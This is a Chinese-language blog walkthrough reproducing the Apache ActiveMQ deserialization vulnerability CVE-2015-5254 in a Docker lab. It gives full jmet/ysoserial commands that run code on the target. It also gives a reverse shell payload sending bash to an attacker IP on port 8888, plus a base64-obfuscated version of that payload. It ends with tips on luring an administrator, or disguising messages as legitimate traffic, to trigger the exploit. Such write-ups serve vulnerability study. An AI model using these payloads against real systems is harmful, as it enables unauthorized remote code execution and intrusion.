2019-11-2:漏洞复现,ActiveMQ反序列化漏洞,CVE-2015-5254
文章仅仅学习使用,所有步骤均来自网络,博主无法鉴别判断用户使用本网站教程及软件的真实用途,敬请用户在本国法律所允许范围内使用,
用户一旦因非法使用而违反国家相关的法律法规,所造成的一切不良后果由该用户独立承担,
博主不负责也不承担任何直接间接或连带等法律责任。
*文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
ActiveMQ反序列化漏洞,CVE-2015-5254
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
参考链接:
运行漏洞环境:docker-compose up -d,出现done,说明容器运行成功
输入命令,docker ps,可以查看容器信息,看到开启了8161和61616端口,其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161
即可看到web管理页面,不过这个漏洞理论上是不需要web的
使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
jmet需要JAVA环境支持,如果没安装JAVA可以运行,apt-get install openjdk-8-jre-headless。安装完成之后运行java -version看是否出现安装的java版本,有信息说明java安装成功
JAVA安装完成之后,安装jmet,执行
切换到opt目录:cd /opt/
下载jemt:sudo wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
创建目录,mkdir external
构建pyload:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/xxx" -Yp ROME your-ip 61616,这个pyload是在靶机/tmp/目录下创建一个xxx文件
此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.190.133:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:
点击事件就会触发执行命令
进入docker下的/tmp查看情况
查看容器ID:docker ps
进入容器:docker exec -it 容器ID /bin/bash
查看命令执行成功
反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.190.134/8888 0>&1" -Yp ROME 192.168.190.133 61616
这里需要一些小技巧来绕过java的机制,bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}
完全构成的Pyload为:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.190.133 61616
shell反弹成功:
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
完